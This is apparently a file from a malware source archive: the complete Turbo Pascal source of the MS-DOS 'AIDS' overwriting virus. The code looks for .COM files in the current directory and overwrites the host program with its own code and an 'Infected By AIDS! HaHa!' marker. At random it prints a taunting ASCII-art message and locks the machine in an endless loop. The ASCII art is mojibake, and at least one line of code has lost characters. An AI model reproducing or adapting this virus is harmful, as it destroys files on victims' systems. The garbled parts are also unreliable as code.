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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.aids.pas

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2021-01-12 23:29:01 +00:00
{AIDS
Although this is a primitive virus its effective.
In this virus only the .COM
files are infected. Its about 13K and it will
change the date entry.}
{C-}
{U-}
{I-} { Wont allow a user break, enable IO check }
{ -- Constants --------------------------------------- }
Const
VirusSize = 13847; { AIDS's code size }
Warning :String[42] { Warning message }
= 'This File Has Been Infected By AIDS! HaHa!';
{ -- Type declarations------------------------------------- }
Type
DTARec =Record { Data area for file search }
DOSnext :Array[1..21] of Byte;
Attr : Byte;
Ftime,
FDate,
FLsize,
FHsize : Integer;
FullName: Array[1..13] of Char;
End;
Registers = Record {Register set used for file search }
Case Byte of
1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer);
2 : (AL,AH,BL,BH,CL,CH,DL,DH : Byte);
End;
{ -- Variables--------------------------------------------- }
Var
{ Memory offset program code }
ProgramStart : Byte absolute Cseg:$100;
{ Infected marker }
MarkInfected : String[42] absolute Cseg:$180;
Reg : Registers; { Register set }
DTA : DTARec; { Data area }
Buffer : Array[Byte] of Byte; { Data buffer }
TestID : String[42]; { To recognize infected files }
UsePath : String[66]; { Path to search files }
{ Lenght of search path }
UsePathLenght: Byte absolute UsePath;
Go : File; { File to infect }
B : Byte; { Used }
LoopVar : Integer; {Will loop forever}
{ -- Program code------------------------------------------ }
Begin
GetDir(0, UsePath); { get current directory }
if Pos('\', UsePath) < UsePathLenght then
UsePath := UsePath + '\';
UsePath := UsePath + '*.COM'; { Define search mask }
Reg.AH := $1A; { Set data area }
Reg.DS := Seg(DTA);
Reg.DX := Ofs(DTA);
MsDos(Reg);
UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 }
Reg.AH := $4E;
Reg.DS := Seg(UsePath);
Reg.DX := Ofs(UsePath[1]);
Reg.CX := $ff; { Set attribute to find ALL files }
MsDos(Reg); { Find first matching entry }
IF not Odd(Reg.Flags) Then { If a file found then }
Repeat
UsePath := DTA.FullName;
B := Pos(#0, UsePath);
If B 0 then
Delete(UsePath, B, 255); { Remove garbage }
Assign(Go, UsePath);
Reset(Go);
If IOresult = 0 Then { If not IO error then }
Begin
BlockRead(Go, Buffer, 2);
Move(Buffer[$80], TestID, 43);
{ Test if file already ill(Infected) }
If TestID < Warning Then { If not then ... }
Begin
Seek (Go, 0);
{ Mark file as infected and .. }
MarkInfected := Warning;
{ Infect it }
BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7));
Close(Go);
Halt; {.. and halt the program }
End;
Close(Go);
End;
{ The file has already been infected, search next. }
Reg.AH := $4F;
Reg.DS := Seg(DTA);
Reg.DX := Ofs(DTA);
MsDos(Reg);
{ ......................Until no more files are found }
Until Odd(Reg.Flags);
Loopvar:=Random(10);
If Loopvar=7 then
begin
Writeln('_'); {Give a lot of smiles}
Writeln('__');
Writeln('
');
Writeln('
ATTENTION:
');
Writeln('
I have been elected to inform you that throughout your process of
');
Writeln('
collecting and executing files, you have accidentally _H<EFBFBD><EFBFBD>K<EFBFBD>_
');
Writeln('
yourself over; again, that''s PHUCKED yourself over. No, it cannot
');
Writeln('
be; YES, it CAN be, a <EFBFBD><EFBFBD><EFBFBD>-s has infected your system. Now what do
');
Writeln('
you have to say about that? HAHAHAHA. Have _H<EFBFBD>&yen; with this one and
');
Writeln('
remember, there is NO cure for
');
Writeln('
');
Writeln('
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
');
Writeln('
<EFBFBD><EFBFBD><EFBFBD>&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;<EFBFBD><EFBFBD><EFBFBD> &plusmn;&plusmn;&plusmn;&plusmn;<EFBFBD><EFBFBD>&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn; <EFBFBD><EFBFBD>&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;<EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD>&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;<EFBFBD><EFBFBD>
');
Writeln('
<EFBFBD><EFBFBD>&plusmn;&plusmn; <EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD>&plusmn;&plusmn; &plusmn;&plusmn;
');
Writeln('
<EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD>&plusmn;
');
Writeln('
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
');
Writeln('
<EFBFBD><EFBFBD>&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;<EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD>&plusmn; &plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;<EFBFBD><EFBFBD>&plusmn;
');
Writeln('
<EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD>&plusmn;
');
Writeln('
<EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD>&plusmn;
');
Writeln('
<EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD>&plusmn; <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>&plusmn;&plusmn; <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>&plusmn;&plusmn;
');
Writeln('
&plusmn;&plusmn; &plusmn;&plusmn; &plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn; &plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn; &plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;&plusmn;
');
Writeln('
');
Writeln('
');
REPEAT
LOOPVAR:=0;
UNTIL LOOPVAR=1;
end;
End.
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